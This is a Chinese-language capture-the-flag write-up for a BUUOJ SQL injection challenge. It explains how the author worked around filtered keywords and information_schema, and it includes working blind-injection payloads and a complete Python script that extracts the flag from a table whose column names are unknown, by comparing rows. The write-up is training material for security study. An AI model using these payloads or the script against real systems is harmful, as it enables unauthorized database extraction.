知識點
基於布爾型盲注
無字段名注入
審題
👴😀🌶 出題人整的一手好🔥
簡潔的sql注入題 老樣子 令人絕望的過濾 在我發現if被過濾的時候 本來以為bool盲注走不了 但是后來想起來bool盲注可以不要if 這里貼上爆數據庫的payload
1^(ascii(substr((select(database())),1,1))=103)^1
編寫腳本爆出數據庫 這個腳本很常規就不貼了 這個腳本都不會寫的人也做不到這題
然后是爆表 發現information.schema被過濾了(實際上是or被過濾的死死的 這個靠積累可以繞過 有兩種方法 挑一個就行
1&&ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),1,1))=103
2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}.format()
不得不說 這個表的名字有丶鬼畜 得到了flag所在表為f1ag_1s_h3r3_hhhhh 好了現在問題來了 我們如果group_concat爆值 那么就需要知道f1ag_1s_h3r3_hhhhh這個表里面 flag所在字段的名字 然而我們不知道 並且聯合注入應該也是被過濾了 並且information.schema也被過濾了 貌似在不知道字段名的情況下沒辦法注入
- 解題
參考dalao的wp
先貼上payload
2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))
我通過一個例子來解釋這句payload
大於號左右兩邊的字符串進行比較 如果左邊的字符串比較大 那么返回1 如果右邊的比較大則返回0 什么是字符串比較 sql里的字符串比較和c++里的一樣 再次不多贅述 圖中fl則不能查詢成功 fm則可以 但是要注意 第一個括號里的select要匹配你所查詢表的字段數 這個編寫腳本的時候跑了一輪沒出一個字 那就加一個字段數
EXP
import requests
url = 'http://9ee702ac-e8db-40ea-95d3-7e8bc914e93d.node3.buuoj.cn/index.php'
result = ''
num = 0
def add(result):
res = ''
res += result
return res
for i in range (1,60):
if (num == 1):
break
for j in range (32,127):
temp = add(result + chr(j))
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(temp)
print(payload)
data={
'id':payload,
}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
result += chr(j-1)
print(result)
break
if '}' in r.text:
num = 1
break
這邊有一個要注意的地方 那就是result += chr(j-1)這一行 因為如果返回1 那么說明這個字符串比flag的大一位 所以真正的flag要-1(s 得到的flag是全大寫的 題目要求小寫
#include<iostream>
using namespace std;
int main(){
int i=0;
char a[]="FLAG{932CBD6E-3A72-40CE-9401-F24DF85289E9}";
while(a[i]!='\0'){
if(a[i]>=65 && a[i]<=90){
a[i]+=32;
}
cout<<a[i];
i++;
}
return 0;
}
得到flag
EOF